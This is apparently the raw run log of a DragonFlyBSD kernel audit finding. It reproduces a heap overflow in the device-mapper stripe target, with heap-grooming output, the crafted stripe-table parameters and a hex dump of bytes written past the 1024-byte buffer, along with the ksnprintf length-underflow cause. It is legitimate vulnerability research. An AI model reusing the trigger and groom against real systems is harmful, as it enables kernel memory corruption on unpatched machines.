⬢ DragonFlyBSD Kernel Audit
DF-2454 / run.log
← back to finding ↓ download raw
===DF-2454: production dm_target_stripe_table, 32 stripes, 16-char pdev names, offsets 0x8000000000000000===
dfmisc: groom: freed chunk a=0xfffff80118785180 (params target), neighbor b=0xfffff80118785600 canary 0x5C
dfmisc: PRODUCTION dm_target_stripe_table -> 0xfffff8008db3b800 params='32 4096 dfhleakdisk00000001 -9223372036854775808 dfhleakdisk...' strlen=1023 (buffer is DM_MAX_PARAMS_SIZE=1024)
dfmisc: params[1000..1080]='isk00000001 -9223372036'
dfmisc: bytes past the buffer [1024..1104]:

   2f 6c 69 62 65 78 65 63 20 64 66 68 6c 65 61 6b 64 69 73 6b 30 30 30 30 30 30 30 31 20 2d 39 32
   32 33 33 37 32 30 33 36 38 35 34 37 37 35 38 30 38 20 64 66 68 6c 65 61 6b 64 69 73 6b 30 30 30
   30 30 30 30 31 20 2d 39 32 32 33 33 37 32 30 33
   (0x64 66 68 6c 65 61 6b = 'dfhleak...' == OOB write of the striped table text)

Bytes [1024..1031] are the adjacent chunk's original content
("/libexec"); from +1032 on, 'dfhleakdisk00000001 -9223372036854775808
dfhleakdisk00000001 -9223...' -- the table text WRITTEN PAST the
1024-byte params allocation by the ksnprintf ptr+=ret/len-=ret pattern
after the first truncating call (ret = would-be length, len is size_t
and underflows).